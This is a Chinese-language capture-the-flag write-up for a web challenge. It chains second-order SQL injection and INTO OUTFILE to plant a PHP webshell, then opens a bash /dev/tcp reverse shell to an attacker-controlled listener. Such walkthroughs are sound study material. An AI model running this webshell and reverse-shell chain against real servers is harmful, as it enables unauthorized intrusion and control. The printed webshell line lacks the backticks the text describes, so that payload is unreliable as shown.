黑白盒

黑白盒复现(补招新题)

招新赛的时候没做这道题,前几天听止痒学长讲完之后觉得里面有很多知识点没有了解过,复现的时候也出现了问题,所以把完整的步骤和其中涉及的知识点整理出来吧。

首先我们可以看到界面中只有登陆和注册可以打开,可能会存在sql注入,同时在头像处可以上传文件,又可能存在文件上传漏洞。

文件上传漏洞

分类

1、上传文件是PHP、JSP、ASP等脚本代码,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行;

2、上传文件是crossdomain.xml,导致可以控制Flash在该域下的行为(其他通过类似方式控制策略文件的情况类似);

3、上传文件是病毒、木马文件,黑客用以诱骗用户或者管理员下载执行植入到pc中。

4、上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈。

在大多数情况下,文件上传漏洞一般都是指“上传的Web脚本被服务器解析从而获取网站shell权限”,也就是webshell,要完成上传漏洞攻击需要满足以下几个条件:

1、上传的文件能够被Web容器解释执行,所以文件上传后所在的目录需要解析器可以执行目录下的文件,也就是说文件目录必须在web容器覆盖路径内才行。

2、用户可以直接通过浏览器进行访问这个shell文件,如果web容器不能解析这个文件,那么也不能算是漏洞。

3、最后,上传的shell文件如果被安全检查、格式化、图片压缩等功能改变了内容,则也可能导致攻击不成功。
(来源:看雪)

Getshell

在图片上传上我们看到上传图片的地址已知,访问地址可以看到我们上传上去的图片,所以我们可以利用SQL写入一句话getshell,再反弹shell从服务器中拿到flag。

二次注入

网站对我们输入的一些关键字符进行了转义,但在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了该数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。

在注册用户名时我们发现当我们的用户名为 1’ 时 登陆后显示的是 1\’ 所以网页对’进行了转义,但当我们在查看用户信息时我们的user_name
显示为 1’ 所以说明我们的用户名已经被存储在数据库之中,并且从数据库中提取出来不会存在转义,这就造成了一个二次注入。

Into outfile

导出数据到pc的指定目录下。
在一开始的图片文件上传的时候我们看到存在/var/www/html/favicon/xxx可以读取和查看文件,所以我们将一句话写入这个地方
/var/www/html/一般为网站的根目录

注册<?php $_GET[x];?>

<?php $_GET[x];?> PHP中反引号 的作用是把反引号中的内容当做Shell命令执行,我们可以在新创建的的网页上传入变量x值来执行我们想要目标主机执行的命令,注册该用户可以将<?php $_GET[x];?>写入数据库

注册<?php $_GET[x];?>’into outfile’/var/www/html/favicon/4.php

将<?php $_GET[x];?>从数据库中提取出来并导出到favicon/4.php
此时在4.php中我们就可以通过变量x来上传我们想让目标主机执行的shell命令了

bash -c “bash -i >& /dev/tcp//9999 0<&1 2>&1”

首先,bash -c 就是运行shell脚本 bash -i是打开一个交互的bash,/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
要想了解“>&”、“0>&1”和2>&1,首先我们要先了解一下Linux文件描述符和重定向。

linux shell下常用的文件描述符是:

  1. 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;

  2. 标准输出 (stdout):代码为 1 ,使用 > 或 >> ;

  3. 标准错误输出(stderr):代码为 2 ,使用 2> 或 2>>。

&可以理解为c语言中的取地址符(n<&word 是把word复制给n,n>&word是把word复制给n。)2>&1是将标准错误输出合并到标准输出中,&>是将标准错误输出定向到标准输出中。也就是输出标准输出的同时也会输出标准错误输出。这句话的意思创建一个可交互的bash和一个到xxx.xxx.xxx.xxx的TCP链接,然后将bash的输入输出错误都重定向到在xxx.xxx.xxx.xxx监听的进程。简单来说就是A主机可以通过执行B主机上的命令并且把返回值都返回到A上。

这里需要注意的是你的本机地址必须是公网ip,局域网ip目标主机无法识别,就无法实现反弹shell(复现的时候就在这出了问题,菜的真实….)

之后再服务器开启监听 nc -lvnp 9999

现在我们之前所传的一句话就派上了用场,在4.php的地址后构造?x=bash%20-c%20%22bash%20-i%20%3E%26%20%2fdev%2ftcp//9999 0%3C%26%202%3E%261%22 就可以让目标主机执行这个命令

原理

A主机开启9999端口的tcp服务
B主机连接到A主机的9999的tcp服务
A主机通过tcp服务把命令发到B主机
B主机读取命令并且在bash中执行
B主机把执行结果发给A主机

拿到shell之后就可以 cd / 进入主目录,主目录中存在包含flag的文件

cat读取文件就可以拿到flag

0%